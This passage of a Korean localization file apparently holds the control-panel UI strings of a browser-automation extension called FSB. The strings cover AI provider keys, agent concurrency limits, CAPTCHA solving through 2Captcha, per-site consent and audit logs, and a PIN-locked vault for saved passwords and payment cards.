사용할 수 없습니다. 새 작업을 시작하기 전에 다른 공급자를 선택하고 저장하세요." + }, + "panel_5e2c614c23": { + "message": "모델" + }, + "panel_dfa17046ae": { + "message": "모델 목록을 보려면 API 키를 입력하세요" + }, + "panel_00889a77ec": { + "message": "사용할 AI 모델을 선택" + }, + "panel_bc3286fa36": { + "message": "xAI API 키" + }, + "panel_a3fb46f4c6": { + "message": "API 키를 받는 곳" + }, + "panel_8e9faa30de": { + "message": ". 키는 브라우저에 로컬로 저장됩니다." + }, + "panel_53bca734db": { + "message": "Gemini API 키" + }, + "panel_8418bdbdcd": { + "message": "OpenAI API 키" + }, + "panel_e07165f5ce": { + "message": "OpenAI 플랫폼" + }, + "panel_959bc25166": { + "message": "Anthropic API 키" + }, + "panel_c481af39b2": { + "message": "Anthropic 콘솔" + }, + "panel_36e0497429": { + "message": "OpenRouter API 키" + }, + "panel_84de34181d": { + "message": ". 키 하나로 200개 이상의 모델을 사용합니다." + }, + "panel_018833a024": { + "message": "LM Studio 서버 URL" + }, + "panel_3efaf1b1c1": { + "message": "LM Studio의 로컬 OpenAI 호환 서버를 사용합니다. API 키가 필요 없습니다. 모델은 다음에서 바로 찾습니다" + }, + "panel_83419f15b8": { + "message": "사용자 지정 API 엔드포인트" + }, + "panel_cfb67fffe3": { + "message": "OpenAI 호환 API 엔드포인트의 전체 URL을 입력" + }, + "panel_acb781f972": { + "message": "사용자 지정 API 키" + }, + "panel_5e2e7207a6": { + "message": "키는 브라우저에 로컬로 저장됩니다." + }, + "panel_abfe6d40e5": { + "message": "음성을 텍스트로" + }, + "panel_5303c4374c": { + "message": "OpenAI Whisper 사용" + }, + "panel_14e36783b5": { + "message": "OpenAI API 키가 필요합니다. 끄면 브라우저 기본 음성 인식을 사용합니다." + }, + "panel_e1461bf33a": { + "message": "CAPTCHA 해결" + }, + "panel_2909841c62": { + "message": "CAPTCHA 해결 사용" + }, + "panel_1955b2ec44": { + "message": "2Captcha로 reCAPTCHA v2, hCaptcha, Cloudflare Turnstile 문제를 풉니다" + }, + "panel_5ac544cb2f": { + "message": "2Captcha API 키" + }, + "panel_a003f76423": { + "message": "가입 위치" + }, + "panel_b6ff7ee96e": { + "message": "에이전트 CLI" + }, + "panel_a1272b91cf": { + "message": "로그인 확인 중..." + }, + "panel_d696a35bdd": { + "message": "프로필" + }, + "panel_3ac8bbca9a": { + "message": "결제" + }, + "panel_cec3a9b89b": { + "message": "데이터" + }, + "panel_ccf75fb483": { + "message": "SuperGrok 연결" + }, + "panel_acfc5be785": { + "message": "연결 해제" + }, + "panel_1771a5d0f6": { + "message": "로그인 계속" + }, + "panel_888a2f4fc6": { + "message": "SuperGrok 사용량 검토" + }, + "panel_d334745b85": { + "message": "설치 안내" + }, + "panel_adadface01": { + "message": "보고되지 않음" + }, + "panel_5bbbe53187": { + "message": "로그인" + }, + "panel_774bf7db76": { + "message": "인증 상태" + }, + "panel_2e5f79bb94": { + "message": "확인 중..." + }, + "panel_02600e6189": { + "message": "API 연결 확인 중" + }, + "panel_c02977b07e": { + "message": "연결 테스트" + }, + "panel_3907fa7f80": { + "message": "모양" + }, + "panel_efb52e7172": { + "message": "테마" + }, + "panel_6725e7bbcd": { + "message": "시스템" + }, + "panel_60acc53f13": { + "message": "어둡게" + }, + "panel_dbcd5e7bb7": { + "message": "밝게" + }, + "panel_19766ed6cc": { + "message": "취소" + }, + "panel_1509f561f2": { + "message": "저장" + }, + "panel_35322b5bb5": { + "message": "변경 내용 저장" + }, + "panel_eb1a70e392": { + "message": "버리기" + }, + "panel_49e49bb440": { + "message": "생성" + }, + "panel_0e91610117": { + "message": "새로고침" + }, + "panel_3664895579": { + "message": "내보내기" + }, + "panel_2cff9baabf": { + "message": "가져오기" + }, + "panel_78b7d0379d": { + "message": "허용" + }, + "panel_05a2d7332e": { + "message": "거부" + }, + "panel_ca7981b46e": { + "message": "끄기" + }, + "panel_b8c209cdea": { + "message": "묻기" + }, + "panel_0286249762": { + "message": "자동" + }, + "panel_1a3a4b99db": { + "message": "FSB가 봇으로 감지되어 작업을 방해했다는 보고는 없습니다. 그래도 매일 순탄하지는 않습니다. 그렇지 않은 날을 위한 기능입니다." + }, + "panel_1a187ac034": { + "message": ", 잔액을 충전한 뒤 대시보드에서 API 키를 복사하세요. reCAPTCHA v2, hCaptcha, Turnstile을 풉니다." + }, + "panel_92f1115a37": { + "message": "FSB는 이 CLI의 기존 로컬 로그인을 사용합니다. 연결 테스트는 도구 없는 작은 확인 요청을 하나 보냅니다." + }, + "panel_cfaa352b86": { + "message": "xAI · 로컬 하네스" + }, + "panel_fd05c3a95a": { + "message": "검토된 Grok Build 1.0.4 프로필이 필요합니다. 연결 테스트는 프롬프트를 보내지 않고 설치, 버전, 격리, ACP, 캐시된 OAuth를 확인합니다." + }, + "panel_ce4f452059": { + "message": "로그인한 Grok 계정을 사용합니다. SuperGrok 사용량은 공유 주간 허용량에서 차감되며, 추가 사용이 발생할 수 있습니다." + }, + "panel_ba5c14963d": { + "message": "브라우저 작업 텍스트와 FSB MCP 결과는 추론을 위해 Grok으로 전송됩니다. FSB는 이 비공개 프로필에서 보조 원격 측정과 추적 업로드를 끕니다." + }, + "panel_baf4338a6f": { + "message": "Anthropic · 로컬 하네스" + }, + "panel_7b14b6ca11": { + "message": "Claude Code에 로그인한 계정을 사용합니다. FSB에는 Anthropic 자격 증명이 필요 없습니다." + }, + "panel_8cceeb4d83": { + "message": "사용량과 요금은 해당 계정의 Claude 요금제 또는 API 구성을 따릅니다." + }, + "panel_d9daa99f67": { + "message": "Claude Code는 FSB가 안전하게 읽을 수 있는 인증 상태를 보고하지 않습니다." + }, + "panel_00604d2592": { + "message": "Claude 요금제와 결제 검토" + }, + "panel_b9f2d95fd0": { + "message": "자동화 동작과 성능을 조정합니다" + }, + "panel_d987fa1b93": { + "message": "제어판 모양" + }, + "panel_1b0daa3cbf": { + "message": "운영 체제 모양을 따릅니다. 기본값: 시스템." + }, + "panel_0c2634ded4": { + "message": "실행 및 한도" + }, + "panel_a429108292": { + "message": "자동화 한도" + }, + "panel_a6db09cd31": { + "message": "작업 실행 경계를 제어합니다" + }, + "panel_7f9bd64777": { + "message": "최대 반복" + }, + "panel_efb8da8405": { + "message": "폭주하는 자동화 반복을 막습니다" + }, + "panel_217a08135e": { + "message": "DOM 분석" + }, + "panel_f57d34cd62": { + "message": "페이지 요소 처리를 최적화합니다" + }, + "panel_f239d1c5e2": { + "message": "요소 한도" + }, + "panel_a0981cec31": { + "message": "범위와 속도의 균형" + }, + "panel_44551744d4": { + "message": "요소 캐시 크기" + }, + "panel_bc63ff6878": { + "message": "50 (최소, 단순한 페이지)" + }, + "panel_6e13b13acc": { + "message": "100 (가벼움, 일반 페이지)" + }, + "panel_f5e5f028c7": { + "message": "200 (표준, 권장)" + }, + "panel_51a4656787": { + "message": "500 (무거움, 복잡한 SPA)" + }, + "panel_b497c0b77d": { + "message": "사용자 지정..." + }, + "panel_3bba622285": { + "message": "반복 조회를 빠르게 하는 요소 캐시입니다. 값이 클수록 복잡한 페이지에서 빠르고 메모리도 더 씁니다." + }, + "panel_964b6d2feb": { + "message": "에이전트 동시 실행" + }, + "panel_93bdf716dc": { + "message": "동시에 실행할 에이전트 상한" + }, + "panel_05f46c29ed": { + "message": "동시 실행 상한" + }, + "panel_599bc7e4ae": { + "message": "권장값(8)으로 재설정" + }, + "panel_26f41aac5c": { + "message": "1에서 64 사이여야 합니다" + }, + "panel_dd39c865d3": { + "message": "8개 중 0개 실행 중" + }, + "panel_8b2e97f4e5": { + "message": "트리거 동시 실행" + }, + "panel_1844d05c26": { + "message": "동시에 감시할 트리거 상한" + }, + "panel_5aa4aff46c": { + "message": "기본값(8)으로 재설정" + }, + "panel_4f6e909317": { + "message": "자동화 동작" + }, + "panel_87fb620509": { + "message": "동작 변경 보고" + }, + "panel_8807532414": { + "message": "각 동작과 함께 반환되는 차이" + }, + "panel_5d2f08be69": { + "message": "동작 변경 보고 반환 (권장)" + }, + "panel_814f4c658e": { + "message": "MCP 세션 재생" + }, + "panel_d93120e9c3": { + "message": "MCP 에이전트 동작의 로컬 원본 기록" + }, + "panel_e3d0d26ac8": { + "message": "재생을 위해 MCP 세션을 기록" + }, + "panel_8c338dcb22": { + "message": "MCP 재생 보관 일수" + }, + "panel_a3a33e657a": { + "message": "성능 최적화" + }, + "panel_318ba4fefb": { + "message": "속도와 정확도를 높이는 기능을 켭니다" + }, + "panel_718ec50194": { + "message": "델타 비교" + }, + "panel_4df3ccd4f7": { + "message": "첫 검사 이후에는 DOM 변경만 보냅니다 (컨텍스트 70-90% 감소)" + }, + "panel_386c10cfbb": { + "message": "표시 영역 우선" + }, + "panel_55b7c33a00": { + "message": "보이는 요소에 집중해 더 빠르고 관련 있는 결과를 얻습니다" + }, + "panel_56cb122532": { + "message": "AI 사이트 맵 개선" + }, + "panel_bbabb56b4f": { + "message": "AI로 사이트 맵을 자동으로 다듬어 탐색 전략과 작업 흐름을 찾습니다" + }, + "panel_6a63ec792f": { + "message": "시각적 피드백" + }, + "panel_d9db4fd5a6": { + "message": "자동화 중 시각 표시를 제어합니다" + }, + "panel_882726c86c": { + "message": "동작 애니메이션 강조" + }, + "panel_525c3926bb": { + "message": "동작이 실행되는 동안 요소 주위에 깜빡이는 빛을 표시합니다" + }, + "panel_b8c545e36f": { + "message": "사이드 패널 단계 진행" + }, + "panel_cd7487b136": { + "message": "자동화 중 사이드 패널에 동작 단계를 표시합니다" + }, + "panel_915c0ef81c": { + "message": "개인정보 및 개발자" + }, + "panel_02d7d5cfae": { + "message": "음성 입력" + }, + "panel_936f490e8e": { + "message": "FSB 사이드 패널의 마이크 입력을 제어합니다" + }, + "panel_92f7b96921": { + "message": "마이크 음성 입력 사용" + }, + "panel_e007c1f5fd": { + "message": "마이크 권한을 확인하는 중…" + }, + "panel_7df7702416": { + "message": "Chrome이 확장 프로그램 전체의 마이크 권한을 관리합니다." + }, + "panel_5e09a0b0eb": { + "message": "마이크 사용" + }, + "panel_2c0acdeddf": { + "message": "Chrome 설정 열기" + }, + "panel_d7de9cfa12": { + "message": "개발자 옵션" + }, + "panel_fef2fc10ae": { + "message": "디버그와 문제 해결 도구" + }, + "panel_5f75368293": { + "message": "디버그 모드" + }, + "panel_64b2d259ae": { + "message": "자동화 문제 해결을 위해 자세한 콘솔 기록을 켭니다" + }, + "panel_38d35a351e": { + "message": "개인정보 및 원격 측정" + }, + "panel_21bf1bebea": { + "message": "익명 사용 데이터" + }, + "panel_451d787c00": { + "message": "익명 사용 데이터 보내기" + }, + "panel_57f9a109d4": { + "message": "사용한 토큰, MCP 클라이언트 이름, 활성 에이전트 수. URL, 프롬프트, DOM은 포함하지 않습니다." + }, + "panel_9ec9376910": { + "message": "전체 정책 읽기 →" + }, + "panel_04dfac3671": { + "message": "연결 끊김" + }, + "panel_acf2db1614": { + "message": "서버 동기화" + }, + "panel_609bbbdf07": { + "message": "해시 키" + }, + "panel_534803768c": { + "message": "대시보드 페어링" + }, + "panel_9a177de63c": { + "message": "스캔하여 페어링" + }, + "panel_43e3ece73f": { + "message": "남음" + }, + "panel_5ad3dbd124": { + "message": "확인" + }, + "panel_c9b3c38247": { + "message": "합계" + }, + "panel_a69c4dece1": { + "message": "저장소" + }, + "panel_ae65d09655": { + "message": "용량" + }, + "panel_a039dfb962": { + "message": "토큰" + }, + "panel_4bc74b2135": { + "message": "작업" + }, + "panel_2f36130ebc": { + "message": "통합" + }, + "panel_ddceb7adfd": { + "message": "모두 지우기" + }, + "panel_6cc8519b91": { + "message": "이동" + }, + "panel_d3f7409ad7": { + "message": "모두 중지" + }, + "panel_f00611c47f": { + "message": "시스템에 맞게 자동으로 권장됩니다. 범위는 1에서 64입니다. 낮을수록 자원 사용이 예측 가능하고, 높을수록 병렬 에이전트가 늘어납니다. 실행 중에 낮춰도 기존 에이전트는 종료되지 않으며, 새 상한을 넘는 요청은 거부됩니다." + }, + "panel_bfd6b0808c": { + "message": "기본값은 8입니다. 범위는 1에서 64입니다. 낮을수록 자원 사용이 예측 가능하고, 높을수록 병렬 감시가 늘어납니다. 실행 중에 낮춰도 기존 감시는 멈추지 않으며, 새 상한을 넘는 트리거는 거부됩니다." + }, + "panel_552aa7152b": { + "message": "각 동작이 바꾼 내용을 짧은 차이로 반환하므로 AI가 페이지를 다시 읽지 않아도 됩니다. 기본값은 켜짐입니다." + }, + "panel_bb0522a484": { + "message": "기본값은 30일입니다. 범위는 1일에서 365일입니다. 만료된 MCP 재생 세션만 자동으로 삭제하며, 오토파일럿 기록은 이 설정으로 줄이지 않습니다." + }, + "panel_77f6039567": { + "message": "사이드 패널에 마이크를 표시하고 브라우저 음성 인식 또는 OpenAI Whisper를 허용합니다. 기본값은 켜짐입니다." + }, + "panel_509f0b9d50": { + "message": "음성 입력을 끄면 FSB가 마이크를 쓰지 않지만, Chrome이 저장한 권한은 취소되지 않습니다." + }, + "panel_76e917ee87": { + "message": "원격 제어와 결과 저장을 위해 이 확장 프로그램을 FSB 대시보드와 페어링합니다" + }, + "panel_c11de3bb2e": { + "message": "결과 저장과 대시보드 이용을 위해 FSB 서버에 연결합니다" + }, + "panel_097b5fa7f6": { + "message": "키를 만든 뒤 대시보드를 페어링하여 이 브라우저를 FSB 서버에 연결합니다." + }, + "panel_75d0625c55": { + "message": "백그라운드 에이전트가 자리를 비웠습니다" + }, + "panel_d17d0cfd98": { + "message": "FSB는 한 번의 정확한 브라우저 실행에 집중합니다. 예약되고 반복되는 작업은 그것을 위해 만든 도구가 더 적합합니다:" + }, + "panel_5a694f4532": { + "message": "오픈 소스 에이전트 루프에는, 그리고" + }, + "panel_6e34781c2f": { + "message": "관리되는 장시간 자동화에는. 일하는 방식에 맞는 쪽을 고르세요." + }, + "panel_e76c360683": { + "message": "OpenClaw 사용해 보기" + }, + "panel_1a58d9154d": { + "message": "Claude Routines 사용해 보기" + }, + "panel_582ba53e9e": { + "message": "v0.9.45rc1에서 종료 · 2026년 4월" + }, + "panel_daa7068396": { + "message": "이전 에이전트" + }, + "panel_3107f72f47": { + "message": "이 프로필에 있던 에이전트 이름을 잃지 않도록 남겨 둡니다. 정의는 chrome.storage.local['bgAgents']에 그대로 있습니다." + }, + "panel_9f83a0b7bf": { + "message": "지난 자동화 세션에서 배운 장기 메모리" + }, + "panel_76a6bcf157": { + "message": "자동 분석" + }, + "panel_50d0c5511b": { + "message": "일화" + }, + "panel_9c11c99c77": { + "message": "의미" + }, + "panel_2e3e91ffbd": { + "message": "절차" + }, + "panel_ee6cfab445": { + "message": "비용 (30일)" + }, + "panel_bc01325482": { + "message": "모든 유형" + }, + "panel_96452046b5": { + "message": "저장된 메모리가 아직 없습니다. 완료된 자동화 세션에서 자동으로 추출됩니다." + }, + "panel_ba7fab765c": { + "message": "정찰" + }, + "panel_cf0e1ec867": { + "message": "사이트를 순회하여 상호작용 구조, 탐색, 선택자를 지도로 만듭니다" + }, + "panel_ad2f160b7b": { + "message": "최대 깊이" + }, + "panel_53e4d8efcc": { + "message": "최대 페이지" + }, + "panel_8ccc2c0e78": { + "message": "조사 결과" + }, + "panel_452d842e33": { + "message": "사이트 정찰 데이터를 보거나 내려받거나, 사이트 맵 메모리로 저장합니다" + }, + "panel_df63a2da5f": { + "message": "조사 결과가 아직 없습니다. 위의 정찰로 사이트를 순회하세요." + }, + "panel_30c19209ac": { + "message": "통합 메모리" + }, + "panel_ba41142e62": { + "message": "사이트 맵" + }, + "panel_bb501d7877": { + "message": "커뮤니티" + }, + "panel_d4b1ea5708": { + "message": "개요" + }, + "panel_e72d5d8d0b": { + "message": "펼침" + }, + "panel_73cde2ba51": { + "message": "전자상거래와 쇼핑" + }, + "panel_8dfdbc2ef4": { + "message": "소셜 미디어" + }, + "panel_6c335e2a76": { + "message": "금융과 거래" + }, + "panel_822c302ddc": { + "message": "여행과 예약" + }, + "panel_7b1b7b315b": { + "message": "이메일 플랫폼" + }, + "panel_cbb811ada2": { + "message": "코딩 플랫폼" + }, + "panel_c47f423a0a": { + "message": "커리어와 구직" + }, + "panel_08cf7301b0": { + "message": "게임 플랫폼" + }, + "panel_2d995d5860": { + "message": "생산성 도구" + }, + "panel_95bfe584eb": { + "message": "디자인과 화이트보드" + }, + "panel_d9dae78103": { + "message": "게임" + }, + "panel_d357175cfe": { + "message": "미디어" + }, + "panel_6eb00b4b26": { + "message": "음악" + }, + "panel_69752f2313": { + "message": "뉴스" + }, + "panel_71bf90935f": { + "message": "참고" + }, + "panel_9b1f5daf0a": { + "message": "스포츠" + }, + "panel_0a035c2b85": { + "message": "유틸리티" + }, + "panel_4b7ef9d8cd": { + "message": "자동화 활동을 살펴보고 문제를 조사합니다" + }, + "panel_65e5078378": { + "message": "로그 지우기" + }, + "panel_5ddbf16ab1": { + "message": "로그 내보내기" + }, + "panel_03f1acb9e6": { + "message": "모든 로그" + }, + "panel_ee585cc4bd": { + "message": "오류만" + }, + "panel_0b3ff2c6ee": { + "message": "경고와 오류" + }, + "panel_2d9e112fc2": { + "message": "정보 이상" + }, + "panel_122df75095": { + "message": "FSB 제어판을 불러왔습니다" + }, + "panel_edeead3f19": { + "message": "세션 기록" + }, + "panel_fba294fa8b": { + "message": "지난 자동화 세션의 로그를 보고 내보냅니다" + }, + "panel_7a28e26099": { + "message": "모든 세션 지우기" + }, + "panel_600cf8138b": { + "message": "기록된 세션이 아직 없습니다. 자동화 작업을 실행하면 여기에 로그가 나타납니다." + }, + "panel_e38737d4e5": { + "message": "분석 디버그 도구" + }, + "panel_c0b1dd0e52": { + "message": "분석 데이터 수집을 시험하고 확인합니다" + }, + "panel_bc93dddbb3": { + "message": "토큰 추적 테스트" + }, + "panel_4267998cbe": { + "message": "저장소 데이터 보기" + }, + "panel_056a9215e5": { + "message": "분석 데이터 지우기" + }, + "panel_2ed2274015": { + "message": "데이터 내보내기" + }, + "panel_a239457076": { + "message": "디버그 출력:" + }, + "panel_38b6a17864": { + "message": "동의 및 감사" + }, + "panel_94ef5e0fd6": { + "message": "아래 기본값은 설정하지 않은 모든 사이트에 적용됩니다. 출처별 목록에서 개별 사이트를 제외할 수 있습니다." + }, + "panel_6e133ee86d": { + "message": "새 사이트의 기본값" + }, + "panel_9693a6dbf3": { + "message": "금융 및 정부 서비스는 이 설정과 관계없이 항상 차단됩니다. 출고 값은 자동이며, 끄기로 바꾸면 엄격한 선택 가입으로 돌아갑니다." + }, + "panel_01914d2038": { + "message": "출처별 동의" + }, + "panel_96db3ff001": { + "message": "여기서 바꾸지 않으면 각 사이트는 위의 기본값을 따릅니다. 사이트를 끄기로 두면 FSB가 그 사이트에서 동작하지 않습니다." + }, + "panel_48cfb671aa": { + "message": "사이트가 아직 없습니다. FSB가 동작한 모든 사이트가 여기에 나타나며 끄기로 둘 수 있습니다. 새 사이트는 위의 기본값을 따릅니다." + }, + "panel_2c64c030d4": { + "message": "민감" + }, + "panel_18f2a0947f": { + "message": "차단됨" + }, + "panel_5f351832fd": { + "message": "변경(쓰기) 호출 허용" + }, + "panel_45a8c38cdf": { + "message": "POST/PUT/PATCH/DELETE의 호환 메타데이터입니다. 자동에서는 FSB가 차단되지 않은 출처에서 읽고 쓸 수 있습니다." + }, + "panel_87b1794408": { + "message": "대기 중인 요청" + }, + "panel_0334c4fb39": { + "message": "대기 0건" + }, + "panel_10fd874b68": { + "message": "쓰기" + }, + "panel_47751f88ed": { + "message": "감사 로그" + }, + "panel_818cb91030": { + "message": "로그 내보내기" + }, + "panel_533e26bdcc": { + "message": "로그 지우기" + }, + "panel_33b93476cf": { + "message": "시간" + }, + "panel_d3e1c5f8a6": { + "message": "출처" + }, + "panel_5faf58a69d": { + "message": "기능" + }, + "panel_52a0f9b65b": { + "message": "메서드" + }, + "panel_bce87826df": { + "message": "부수 효과" + }, + "panel_d37e0cd00f": { + "message": "동의" + }, + "panel_4e80abb5b1": { + "message": "결과" + }, + "panel_5934628d0f": { + "message": "법률 및 서비스 정책" + }, + "panel_fea0aab06e": { + "message": "법적 입장 읽기 →" + }, + "panel_4fc14539b2": { + "message": "차단된 서비스 보기 →" + }, + "panel_efc0b9cac2": { + "message": "개인정보 처리방침 →" + }, + "panel_bfe73827c5": { + "message": "자동 로그인 사용" + }, + "panel_bbf6a83734": { + "message": "자격 증명 보관함" + }, + "panel_07dd5f0064": { + "message": "보관함 상태를 확인하는 중..." + }, + "panel_50b231118c": { + "message": "보관함 잠그기" + }, + "panel_ac22d297f8": { + "message": "PIN 길이 선택" + }, + "panel_3e785bbc44": { + "message": "4자리" + }, + "panel_7856e511a2": { + "message": "6자리" + }, + "panel_f246c76813": { + "message": "PIN 입력" + }, + "panel_4fa10c7baa": { + "message": "PIN 확인" + }, + "panel_73134c8143": { + "message": "보관함 설정" + }, + "panel_872ac152d2": { + "message": "잠금 해제하려면 PIN을 입력" + }, + "panel_b41986e3f5": { + "message": "보관함 잠금 해제" + }, + "panel_c1dc92c680": { + "message": "새로 추가" + }, + "panel_35d74dfd8d": { + "message": "자격 증명 추가" + }, + "panel_85a85dc9a2": { + "message": "웹사이트 / 도메인" + }, + "panel_657144f3f7": { + "message": "사용자 이름 / 이메일" + }, + "panel_e7cf3ef4f1": { + "message": "비밀번호" + }, + "panel_6239b93e96": { + "message": "메모 (선택)" + }, + "panel_9caa27b9d0": { + "message": "이 자격 증명을 하위 도메인에서 허용" + }, + "panel_8816182605": { + "message": "예: 다음을 위해 저장한 자격 증명" + }, + "panel_eb1c90412b": { + "message": "에서도 사용할 수 있습니다" + }, + "panel_195ab9772f": { + "message": "저장된 결제 수단 사용" + }, + "panel_b45d64e4a3": { + "message": "저장된 결제 수단" + }, + "panel_a92743920d": { + "message": "결제 수단 상태를 확인하는 중..." + }, + "panel_bbc3d7eb41": { + "message": "결제 수단 잠그기" + }, + "panel_24e06db48e": { + "message": "비밀번호 열기" + }, + "panel_186f818f5f": { + "message": "저장된 결제 수단 잠금 해제" + }, + "panel_82f87079c6": { + "message": "카드 추가" + }, + "panel_b610b1ecca": { + "message": "결제 수단 추가" + }, + "panel_7cbcb92acd": { + "message": "별명 (선택)" + }, + "panel_85dfa9ba97": { + "message": "카드 선택과 저장된 카드 목록에 표시됩니다." + }, + "panel_d6bc26851d": { + "message": "카드 소유자 이름" + }, + "panel_4566e068a2": { + "message": "카드 번호" + }, + "panel_b764cdc0ea": { + "message": "알 수 없음" + }, + "panel_25ec19a82f": { + "message": "입력하는 동안 카드 브랜드를 자동으로 감지합니다." + }, + "panel_43533009b2": { + "message": "만료 월" + }, + "panel_310ca503ef": { + "message": "월" + }, + "panel_ca7aaef8c5": { + "message": "만료 연도" + }, + "panel_8a944d3d0e": { + "message": "청구 이름" + }, + "panel_1b77352e0b": { + "message": "청구 주소 1행" + }, + "panel_ff2bc02380": { + "message": "청구 주소 2행 (선택)" + }, + "panel_fc33f73246": { + "message": "도시" + }, + "panel_9630a4b030": { + "message": "주 / 지역" + }, + "panel_8198b202a8": { + "message": "우편번호" + }, + "panel_701d021d08": { + "message": "국가" + }, + "panel_d00eca1bae": { + "message": "시작하기" + }, + "panel_c772928cb0": { + "message": "FSB로 브라우저 자동화의 기초를 배웁니다" + }, + "panel_584aa47f13": { + "message": "웹사이트 방문" + }, + "panel_b50c780ec8": { + "message": "안내 설정" + }, + "panel_01c470e51f": { + "message": "설정 다시 시작" + }, + "panel_c205924de0": { + "message": "문서" + }, + "panel_ed16cec106": { + "message": "저장소 보기" + }, + "panel_4c4a152a2b": { + "message": "지원 및 FAQ" + }, + "panel_7302582a6f": { + "message": "지원 열기" + }, + "panel_d4a48a753a": { + "message": "MCP 설정" + }, + "panel_2df575344e": { + "message": "MCP 가이드 보기" + }, + "panel_506ff39462": { + "message": "개인정보 처리방침" + }, + "panel_377733b622": { + "message": "개인정보 처리방침 보기" + }, + "panel_666067dd37": { + "message": "이슈" + }, + "panel_cf82dd02e8": { + "message": "이슈 보기" + }, + "panel_bc47da663d": { + "message": "소스 코드" + }, + "panel_6209d4d395": { + "message": "GitHub 보기" + }, + "panel_bd4702c187": { + "message": "릴리스 노트" + }, + "panel_1705ccc5a5": { + "message": "릴리스 보기" + }, + "panel_c011d6097b": { + "message": "라이선스" + }, + "panel_b392d33f2e": { + "message": "라이선스 보기" + }, + "panel_a4b17bc7db": { + "message": "저장하지 않은 변경 내용이 있습니다" + }, + "panel_8e0f9288e2": { + "message": "설정하지 않은 사이트를 FSB가 어떻게 다루는지입니다. 자동은 차단되지 않은 사이트의 인증된 API를 FSB가 호출하게 합니다(읽기와 쓰기). 끄기는 각 사이트를 먼저 켜야 합니다. 묻기는 승인을 위해 요청을 대기열에 넣습니다." + }, + "panel_811f8544eb": { + "message": "당신의 결정을 기다리는 요청입니다. 허용하면 호출자가 다시 시도할 수 있습니다. FSB는 승인 없이 동작하지 않습니다." + }, + "panel_b04eb08367": { + "message": "대기 중인 요청이 없습니다. 도구에 동의가 필요하면 여기에 나타납니다. 위의 목록에서 미리 접근을 허용할 수도 있습니다." + }, + "panel_1fdd802663": { + "message": "기능 호출의 가려진 추가 전용 기록입니다. 인수, 토큰, 쿠키, 응답 본문은 저장되지 않습니다." + }, + "panel_787513f4fd": { + "message": "감사 항목이 아직 없습니다. 출처를 허용하면 기능 호출이 여기에 기록됩니다. 항목은 가려지며 로컬에만 저장됩니다." + }, + "panel_323d6ff1f1": { + "message": "FSB의 자동화 입장, 감사 보관, 동의 모델은 LEGAL.md에 문서화되어 있습니다. 일부 출처는 서비스 거부 목록으로 자동화에서 차단됩니다." + }, + "panel_e31b2a3d3f": { + "message": "지원 로그인을 위한 저장된 자격 증명과 공유 보관함을 관리합니다" + }, + "panel_93f508370d": { + "message": "켜면 FSB가 로그인 페이지를 감지하고 저장된 자격 증명으로 자동 로그인을 제안합니다" + }, + "panel_10f7c25d31": { + "message": "저장된 자격 증명을 보호할 PIN을 선택하세요. 기존 레거시 자격 증명은 자동으로 이전됩니다." + }, + "panel_50c3db852a": { + "message": "잠금을 해제하면 비밀번호를 보거나 편집하거나 자동 입력하거나 저장할 수 있습니다." + }, + "panel_b6680d54b2": { + "message": "이 브라우저 세션에서 보관함 잠금이 해제되었습니다. 저장된 자격 증명은 아래에 있습니다." + }, + "panel_8d5ab0fe44": { + "message": "자동 로그인이 현재 꺼져 있습니다. 저장된 자격 증명은 여기서 관리할 수 있지만, 켜기 전까지 FSB가 자동으로 사용하거나 저장하지 않습니다." + }, + "panel_c533cc0b87": { + "message": "저장된 자격 증명이 아직 없습니다. 자동화 중 로그인하면 자동으로 저장되거나, 직접 추가할 수 있습니다." + }, + "panel_0153e2da59": { + "message": "웹사이트 도메인을 입력하세요 (예: github.com, mail.google.com)" + }, + "panel_83c6ad5aef": { + "message": "지원 결제를 위한 저장된 카드를 관리합니다. 결제 수단은 비밀번호에서 설정한 자격 증명 보관함을 공유합니다." + }, + "panel_ff7378d58d": { + "message": "켜면 FSB가 결제 페이지에서 저장된 카드를 채우도록 제안할 수 있습니다. 최종 결제는 자동으로 제출하지 않습니다." + }, + "panel_7d1624ea92": { + "message": "저장된 결제 수단을 관리하기 전에 자격 증명 보관함의 잠금을 해제하세요." + }, + "panel_ad5f8e8263": { + "message": "결제 수단 잠금 해제에 보관함 PIN을 입력" + }, + "panel_2035e1f48d": { + "message": "저장된 카드는 같은 암호화 보관함을 쓰지만, 이 브라우저 세션에서 결제 입력이 되기 전에 따로 잠금 해제가 필요합니다." + }, + "panel_0ec4dc2534": { + "message": "이 브라우저 세션에서 저장된 결제 수단의 잠금이 해제되었습니다. FSB는 감지된 결제 페이지에서 저장된 카드 입력을 제안할 수 있지만, 최종 결제는 자동으로 제출하지 않습니다." + }, + "panel_5d38d8a7cf": { + "message": "저장된 결제 수단이 현재 꺼져 있습니다. 저장된 카드는 여기서 관리할 수 있지만, 기능을 켜기 전까지 FSB가 결제 중에 제안하지 않습니다." + }, + "panel_2fd67f06e0": { + "message": "저장된 결제 수단이 아직 없습니다. 여기에 카드를 추가하면 결제 접근을 잠금 해제한 뒤 FSB가 결제 페이지에서 제안할 수 있습니다." + }, + "panel_928895f662": { + "message": "CVV와 청구 프로필 데이터는 로컬 보관함 안에 암호화되어 저장됩니다. 이 기능을 쓰기 전에 로컬 기기 보안을 확인하세요." + }, + "panel_39d561254a": { + "message": "카드 저장" + }, + "panel_e4d896bcce": { + "message": "도움을 받고 FSB 기능에 대해 더 알아보기" + }, + "panel_32623395c6": { + "message": "온보딩을 다시 실행하여 공급자 또는 MCP 설정을 바꿉니다" + }, + "panel_db4cec18bf": { + "message": "FSB의 전체 문서와 설정 안내" + }, + "panel_63dfe63d28": { + "message": "FAQ를 살펴보고 흔한 연결 문제를 해결합니다" + }, + "panel_d2286811e6": { + "message": "Claude Code와 Cursor 같은 MCP 클라이언트를 연결한 뒤 doctor 명령으로 확인합니다" + }, + "panel_f3cb441c27": { + "message": "FSB가 데이터, 저장, 선택적 서버 동기화를 어떻게 다루는지 읽습니다" + }, + "panel_476481e410": { + "message": "버그를 보고하고, 기능을 요청하고, 개발 진행을 추적합니다" + }, + "panel_89b47ad370": { + "message": "소스 코드를 보고 FSB 개발에 기여합니다" + }, + "panel_f775bb5cbf": { + "message": "각 FSB 릴리스의 새로운 점과 변경점을 봅니다" + }, + "panel_8abc0aef4e": { + "message": "FSB는 MIT 라이선스의 오픈 소스입니다" + }, + "panel_e235f8135c": { + "message": "다른 FSB 사용자와 함께 업데이트를 따라갑니다" + }, + "panel_53e5555e9a": { + "message": "비밀이 있는 항목과 민감한 입력을 가린 뒤 재생 데이터를 로컬에 저장합니다. 일반적인 입력 텍스트와 동작 결과는 재생에 남습니다. MCP 클라이언트는 비밀이 없는 완료, 부분, 실패 요약을 제공해 로컬 작업 